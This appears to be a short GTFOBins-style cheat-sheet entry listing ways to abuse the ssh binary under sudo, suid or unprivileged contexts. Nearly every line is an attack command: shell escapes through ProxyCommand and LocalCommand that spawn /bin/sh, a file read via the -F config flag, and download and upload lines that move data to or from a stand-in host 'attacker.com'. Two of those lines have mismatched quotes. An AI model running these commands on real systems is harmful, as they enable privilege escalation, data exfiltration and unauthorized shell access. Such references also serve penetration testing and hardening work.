ssh

Download

Context: sudo, suid, unprivileged

ssh user@attacker.com 'cat /path/to/input-file"

File Read

Context: sudo, suid, unprivileged

ssh -F /path/to/input-file x

Shell

Context: sudo, suid, unprivileged

ssh localhost /bin/sh

Context: sudo, unprivileged

ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x

Context: sudo, unprivileged

ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost

Upload

Context: sudo, suid, unprivileged

echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"